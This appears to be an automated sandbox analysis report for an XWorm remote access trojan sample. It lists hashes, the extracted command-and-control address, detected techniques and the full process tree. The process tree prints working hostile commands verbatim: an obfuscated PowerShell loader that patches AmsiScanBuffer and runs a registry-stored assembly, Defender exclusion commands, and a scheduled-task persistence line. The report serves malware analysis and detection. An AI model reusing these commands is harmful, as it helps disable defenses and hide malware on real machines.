xworm | dced7baf3dbe54b82383a0228be70e2db29f2550e4a6a21db3ac678c50bae7b7

Analysis

max time kernel
73s
max time network
112s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
10/04/2024, 15:50

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General

Target
XClient.exe
Size 39KB
Sample240410-s931ragc8x
SHA256 dced7baf3dbe54b82383a0228be70e2db29f2550e4a6a21db3ac678c50bae7b7
MD5 92b8438019f73a921929a05d3dd36af3
SHA1 1dad9e8a7c19d02fb9ac7677403410bc64c63518
SHA512 f36eede215b58588b9f416ee3b4755a479ef8ccaea0776e89b87c5ed5df09778830fa729494ad442076a8e526db940488010c758ec62cf5c49972da7e02ca0fa
SSDEEP 768:Yybn+v8csoYSQ5lLJKuuwhSZPypufFWPa9bZ6POwhhaubIK:fn+EcsodQVJKuuwhSMEFv9bZ6POwTTj
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

xworm persistence rat trojan

Malware Config

Extracted

Family

xworm

Version

127.0.0.1:36335
menu-installations.gl.at.ply.gg:36335

Mutex

RFgxckMfAtjkPeB2

Attributes

Install_directory
%ProgramData%
install_file
check.exe

aes.plain

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral1/memory/1340-0-0x0000000000BC0000-0x0000000000BD0000-memory.dmp	family_xworm
behavioral1/files/0x000b000000023202-69.dat	family_xworm

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 3716 created 616	3716	powershell.EXE	5

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Control Panel\International\Geo\Nation	XClient.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77thing.lnk	XClient.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\$77thing.lnk	XClient.exe

Executes dropped EXE 2 IoCs

pid	Process
4960	$77thing
2228	laqxae.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\$77thing = "C:\\ProgramData\\$77thing"	XClient.exe

Drops file in System32 directory 2 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3716 set thread context of 1760	3716	powershell.EXE	108

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_DADY&Prod_HARDDISK\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
4696	schtasks.exe

Modifies data under HKEY_USERS 41 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE

Suspicious behavior: EnumeratesProcesses 30 IoCs

pid	Process
1112	powershell.exe
1112	powershell.exe
1424	powershell.exe
1424	powershell.exe
5076	powershell.exe
5076	powershell.exe
1208	powershell.exe
1208	powershell.exe
1340	XClient.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
3716	powershell.EXE
3716	powershell.EXE
3716	powershell.EXE
4336	taskmgr.exe
1760	dllhost.exe
1760	dllhost.exe
1760	dllhost.exe
1760	dllhost.exe
4336	taskmgr.exe
4336	taskmgr.exe

Suspicious use of AdjustPrivilegeToken 17 IoCs

description	pid	Process
Token: SeDebugPrivilege	1340	XClient.exe
Token: SeDebugPrivilege	1112	powershell.exe
Token: SeDebugPrivilege	1424	powershell.exe
Token: SeDebugPrivilege	5076	powershell.exe
Token: SeDebugPrivilege	1208	powershell.exe
Token: SeDebugPrivilege	1340	XClient.exe
Token: SeDebugPrivilege	4960	$77thing
Token: SeDebugPrivilege	4336	taskmgr.exe
Token: SeSystemProfilePrivilege	4336	taskmgr.exe
Token: SeCreateGlobalPrivilege	4336	taskmgr.exe
Token: SeDebugPrivilege	3716	powershell.EXE
Token: SeDebugPrivilege	3716	powershell.EXE
Token: SeDebugPrivilege	1760	dllhost.exe
Token: SeShutdownPrivilege	384	dwm.exe
Token: SeCreatePagefilePrivilege	384	dwm.exe
Token: 33	4336	taskmgr.exe
Token: SeIncBasePriorityPrivilege	4336	taskmgr.exe

Suspicious use of FindShellTrayWindow 39 IoCs

pid	Process
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe

Suspicious use of SendNotifyMessage 39 IoCs

pid	Process
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe
4336	taskmgr.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
1340	XClient.exe

Suspicious use of WriteProcessMemory 49 IoCs

description	pid	Process	procid_target
PID 1340 wrote to memory of 1112	1340	XClient.exe	85
PID 1340 wrote to memory of 1112	1340	XClient.exe	85
PID 1340 wrote to memory of 1424	1340	XClient.exe	87
PID 1340 wrote to memory of 1424	1340	XClient.exe	87
PID 1340 wrote to memory of 5076	1340	XClient.exe	89
PID 1340 wrote to memory of 5076	1340	XClient.exe	89
PID 1340 wrote to memory of 1208	1340	XClient.exe	91
PID 1340 wrote to memory of 1208	1340	XClient.exe	91
PID 1340 wrote to memory of 4696	1340	XClient.exe	93
PID 1340 wrote to memory of 4696	1340	XClient.exe	93
PID 1340 wrote to memory of 2228	1340	XClient.exe	105
PID 1340 wrote to memory of 2228	1340	XClient.exe	105
PID 1340 wrote to memory of 2228	1340	XClient.exe	105
PID 3716 wrote to memory of 1760	3716	powershell.EXE	108
PID 3716 wrote to memory of 1760	3716	powershell.EXE	108
PID 3716 wrote to memory of 1760	3716	powershell.EXE	108
PID 3716 wrote to memory of 1760	3716	powershell.EXE	108
PID 3716 wrote to memory of 1760	3716	powershell.EXE	108
PID 3716 wrote to memory of 1760	3716	powershell.EXE	108
PID 3716 wrote to memory of 1760	3716	powershell.EXE	108
PID 3716 wrote to memory of 1760	3716	powershell.EXE	108
PID 1760 wrote to memory of 616	1760	dllhost.exe	5
PID 1760 wrote to memory of 672	1760	dllhost.exe	7
PID 672 wrote to memory of 2816	672	lsass.exe	50
PID 672 wrote to memory of 2816	672	lsass.exe	50
PID 1760 wrote to memory of 956	1760	dllhost.exe	12
PID 672 wrote to memory of 2816	672	lsass.exe	50
PID 672 wrote to memory of 2816	672	lsass.exe	50
PID 1760 wrote to memory of 384	1760	dllhost.exe	13
PID 1760 wrote to memory of 408	1760	dllhost.exe	14
PID 1760 wrote to memory of 696	1760	dllhost.exe	15
PID 1760 wrote to memory of 1032	1760	dllhost.exe	17
PID 1760 wrote to memory of 1136	1760	dllhost.exe	18
PID 1760 wrote to memory of 1144	1760	dllhost.exe	19
PID 1760 wrote to memory of 1152	1760	dllhost.exe	20
PID 1760 wrote to memory of 1160	1760	dllhost.exe	21
PID 1760 wrote to memory of 1228	1760	dllhost.exe	22
PID 1760 wrote to memory of 1260	1760	dllhost.exe	23
PID 1760 wrote to memory of 1304	1760	dllhost.exe	24
PID 1760 wrote to memory of 1396	1760	dllhost.exe	25
PID 1760 wrote to memory of 1432	1760	dllhost.exe	26
PID 1760 wrote to memory of 1572	1760	dllhost.exe	27
PID 1760 wrote to memory of 1604	1760	dllhost.exe	28
PID 1760 wrote to memory of 1612	1760	dllhost.exe	29
PID 1760 wrote to memory of 1716	1760	dllhost.exe	30
PID 1760 wrote to memory of 1744	1760	dllhost.exe	31
PID 1760 wrote to memory of 1752	1760	dllhost.exe	32
PID 1760 wrote to memory of 1840	1760	dllhost.exe	33
PID 1760 wrote to memory of 1964	1760	dllhost.exe	34

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:616
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:384
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{48f3f0b7-0d92-4129-b8fb-678fec3a5350}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1760

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
- Suspicious use of WriteProcessMemory
PID:672

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:956

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:408

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s DsmSvc
1⤵
PID:696

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1032

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
PID:1136

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
PID:1144
- C:\ProgramData\$77thing
  C:\ProgramData\$77thing
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:4960
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:KtVMTxpiDHwd{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$gKqiLazxbbVEwO,[Parameter(Position=1)][Type]$SkIRaOPaNn)$atjXDzSbmJd=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+[Char](102)+''+[Char](108)+''+[Char](101)+''+'c'+''+'t'+''+[Char](101)+''+[Char](100)+''+'D'+'e'+[Char](108)+''+'e'+''+[Char](103)+'a'+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('In'+[Char](77)+''+[Char](101)+''+[Char](109)+''+[Char](111)+''+[Char](114)+'y'+'M'+'o'+[Char](100)+''+[Char](117)+''+[Char](108)+''+[Char](101)+'',$False).DefineType(''+[Char](77)+''+[Char](121)+'D'+[Char](101)+'l'+[Char](101)+''+'g'+''+[Char](97)+'t'+[Char](101)+'Typ'+[Char](101)+'','Cl'+[Char](97)+''+[Char](115)+'s'+','+''+[Char](80)+''+'u'+'b'+'l'+''+'i'+''+[Char](99)+''+[Char](44)+''+[Char](83)+''+'e'+''+[Char](97)+''+'l'+''+[Char](101)+''+[Char](100)+''+[Char](44)+''+'A'+'nsi'+[Char](67)+''+[Char](108)+''+'a'+'s'+[Char](115)+''+','+''+'A'+'u'+[Char](116)+''+'o'+'C'+[Char](108)+'as'+[Char](115)+'',[MulticastDelegate]);$atjXDzSbmJd.DefineConstructor('R'+[Char](84)+''+'S'+''+[Char](112)+'e'+[Char](99)+''+'i'+''+[Char](97)+''+[Char](108)+''+[Char](78)+''+[Char](97)+''+'m'+''+[Char](101)+''+[Char](44)+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+'e'+''+'B'+''+[Char](121)+'S'+'i'+''+'g'+',P'+'u'+''+'b'+'l'+[Char](105)+''+'c'+'',[Reflection.CallingConventions]::Standard,$gKqiLazxbbVEwO).SetImplementationFlags('R'+[Char](117)+''+[Char](110)+'t'+[Char](105)+''+[Char](109)+''+[Char](101)+''+','+''+[Char](77)+''+[Char](97)+''+'n'+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$atjXDzSbmJd.DefineMethod(''+'I'+''+[Char](110)+'v'+'o'+'ke',''+'P'+'u'+[Char](98)+'l'+[Char](105)+''+[Char](99)+','+'H'+''+[Char](105)+''+'d'+''+[Char](101)+''+'B'+''+[Char](121)+''+[Char](83)+''+'i'+''+'g'+''+[Char](44)+''+[Char](78)+'e'+[Char](119)+''+'S'+''+[Char](108)+''+[Char](111)+''+[Char](116)+''+','+''+[Char](86)+''+[Char](105)+''+'r'+''+[Char](116)+''+[Char](117)+''+'a'+''+'l'+'',$SkIRaOPaNn,$gKqiLazxbbVEwO).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+[Char](110)+'ti'+'m'+''+[Char](101)+''+[Char](44)+''+'M'+''+'a'+''+'n'+''+[Char](97)+''+[Char](103)+''+'e'+''+'d'+'');Write-Output $atjXDzSbmJd.CreateType();}$npaeIRipdBXpU=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+'s'+''+[Char](116)+'em'+'.'+''+[Char](100)+''+[Char](108)+''+[Char](108)+'')}).GetType('M'+[Char](105)+'c'+[Char](114)+'o'+[Char](115)+''+[Char](111)+''+[Char](102)+'t.'+[Char](87)+''+[Char](105)+''+'n'+''+[Char](51)+''+[Char](50)+''+'.'+'U'+[Char](110)+''+[Char](115)+''+'a'+'f'+'e'+''+[Char](78)+''+'a'+''+[Char](116)+''+'i'+''+[Char](118)+''+[Char](101)+''+[Char](77)+''+[Char](101)+''+'t'+'ho'+[Char](100)+''+[Char](115)+'');$ScBfIREJgYmMfH=$npaeIRipdBXpU.GetMethod(''+'G'+''+'e'+''+[Char](116)+''+'P'+''+'r'+''+'o'+''+'c'+''+'A'+'d'+[Char](100)+''+[Char](114)+'e'+'s'+''+[Char](115)+'',[Reflection.BindingFlags]('P'+'u'+''+'b'+'l'+'i'+''+[Char](99)+','+[Char](83)+''+[Char](116)+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$QbdlSnXrRHNjcPHTBpl=KtVMTxpiDHwd @([String])([IntPtr]);$SecHfziRkgskKYFNYncsMF=KtVMTxpiDHwd @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$KhOSsjfSbVj=$npaeIRipdBXpU.GetMethod(''+'G'+''+[Char](101)+'t'+'M'+''+'o'+''+[Char](100)+''+[Char](117)+'l'+[Char](101)+''+'H'+''+'a'+''+'n'+''+[Char](100)+'l'+[Char](101)+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+'r'+[Char](110)+''+[Char](101)+'l3'+[Char](50)+'.'+'d'+''+'l'+''+[Char](108)+'')));$IyTEPQijdlecve=$ScBfIREJgYmMfH.Invoke($Null,@([Object]$KhOSsjfSbVj,[Object]('L'+[Char](111)+'a'+'d'+''+[Char](76)+''+'i'+''+[Char](98)+''+[Char](114)+''+[Char](97)+'ry'+[Char](65)+'')));$lFUHabKwEGwxMlEhJ=$ScBfIREJgYmMfH.Invoke($Null,@([Object]$KhOSsjfSbVj,[Object](''+'V'+''+[Char](105)+''+[Char](114)+''+[Char](116)+'u'+[Char](97)+''+[Char](108)+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+'t'+''+[Char](101)+'c'+[Char](116)+'')));$BOIyDsx=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IyTEPQijdlecve,$QbdlSnXrRHNjcPHTBpl).Invoke(''+[Char](97)+''+'m'+'si.d'+'l'+''+[Char](108)+'');$IhhIKmymqcAEohnth=$ScBfIREJgYmMfH.Invoke($Null,@([Object]$BOIyDsx,[Object](''+'A'+''+'m'+'s'+[Char](105)+'S'+'c'+'a'+'n'+''+'B'+'u'+'f'+''+'f'+''+[Char](101)+'r')));$gBqFdvVyaN=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($lFUHabKwEGwxMlEhJ,$SecHfziRkgskKYFNYncsMF).Invoke($IhhIKmymqcAEohnth,[uint32]8,4,[ref]$gBqFdvVyaN);[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3),0,$IhhIKmymqcAEohnth,6);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($lFUHabKwEGwxMlEhJ,$SecHfziRkgskKYFNYncsMF).Invoke($IhhIKmymqcAEohnth,[uint32]8,0x20,[ref]$gBqFdvVyaN);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+'O'+''+'F'+''+[Char](84)+'WA'+[Char](82)+'E').GetValue(''+[Char](36)+''+[Char](55)+''+[Char](55)+''+[Char](115)+''+[Char](116)+''+[Char](97)+''+'g'+''+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
  2⤵
  - Suspicious use of NtCreateUserProcessOtherParentProcess
  - Drops file in System32 directory
  - Suspicious use of SetThreadContext
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3716

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1152

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1160

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1228

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1260

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1304

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1396

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1432
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:1476
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:4060
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:4184
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:1288
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:4492
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:3204

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1572

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1604

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1612

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1716

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1744

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1752

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1840

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1964

C:\Windows\sysmon.exe
C:\Windows\sysmon.exe
1⤵
PID:2816

C:\Users\Admin\AppData\Local\Temp\XClient.exe
"C:\Users\Admin\AppData\Local\Temp\XClient.exe"
1⤵
- Checks computer location settings
- Drops startup file
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1340
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\XClient.exe'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1112
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'XClient.exe'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1424
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\$77thing'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5076
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess '$77thing'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1208
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "$77thing" /tr "C:\ProgramData\$77thing"
  2⤵
  - Creates scheduled task(s)
  PID:4696
- C:\Users\Admin\AppData\Local\Temp\laqxae.exe
  "C:\Users\Admin\AppData\Local\Temp\laqxae.exe"
  2⤵
  - Executes dropped EXE
  PID:2228

C:\Windows\system32\taskmgr.exe
"C:\Windows\system32\taskmgr.exe" /4
1⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:4336

Network

MITRE ATT&CK Enterprise v15

